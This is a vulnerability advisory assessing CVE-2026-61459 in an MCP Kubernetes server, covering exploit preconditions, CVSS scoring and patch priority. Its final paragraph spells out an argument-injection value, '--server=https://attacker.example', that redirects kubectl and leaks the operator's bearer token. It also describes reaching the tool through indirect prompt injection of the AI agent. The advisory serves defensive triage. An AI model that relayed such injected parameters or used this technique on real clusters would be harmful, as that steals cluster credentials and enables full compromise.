MCP Server Kubernetes CVE-2026-61459

Exploitation requires the attacker to supply the resourceType or name parameter to one of the vulnerable structured tools (kubectl_get, kubectl_describe, or kubectl_delete) in a version before 3.9.0, with the value crafted to begin with a leading dash so it is parsed by kubectl as the --server flag; the MCP server must be configured with usable Kubernetes credentials (bearer token/kubeconfig) that get attached to the redirected request. The per-CVSS PR:N/UI:N rating assumes the attacker can reach those tool inputs directly. Limiting factors: an attacker who cannot reach the MCP tool interface (network-isolated, authenticated agent front-end, or no indirect prompt-injection path) cannot trigger it; only these three structured tools are affected; and least-privilege RBAC on the server's credentials constrains what the exfiltrated token can do. Versions 3.9.0 and later are not affected.

The signals are largely consistent and point to genuine high priority. The vendor-supplied CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H, score 9.3) indicates network-reachable, low-complexity exploitation with no privileges or user interaction and high confidentiality/integrity/availability impact, and publicly available exploit code raises real-world feasibility. The primary uncertainty is exposure model rather than technical severity: MCP servers are typically driven by an AI agent, so PR:N assumes the attacker can reach the tool inputs directly (e.g., an exposed/unauthenticated MCP endpoint or indirect prompt injection into the agent). EPSS is not provided and the CVE is not listed in CISA KEV, so there is no evidence of widespread automated exploitation despite the public POC - treat this as a strong patch-now item where the software is deployed, but note that real risk scales with how exposed the MCP server is. No conflicting data was identified; the description (token redirection) aligns with the high C/I/A rating.

An attacker who can influence the MCP tool inputs - for example via a prompt-injection payload the AI agent relays, or a directly exposed MCP endpoint - calls kubectl_get with a name or resourceType of --server=https://attacker.example. The vulnerable server passes this to kubectl, which sends the request (and the operator's bearer token) to the attacker's rogue API server; publicly available exploit code demonstrates the technique. With the captured token the attacker authenticates back to the real cluster and pivots to full compromise.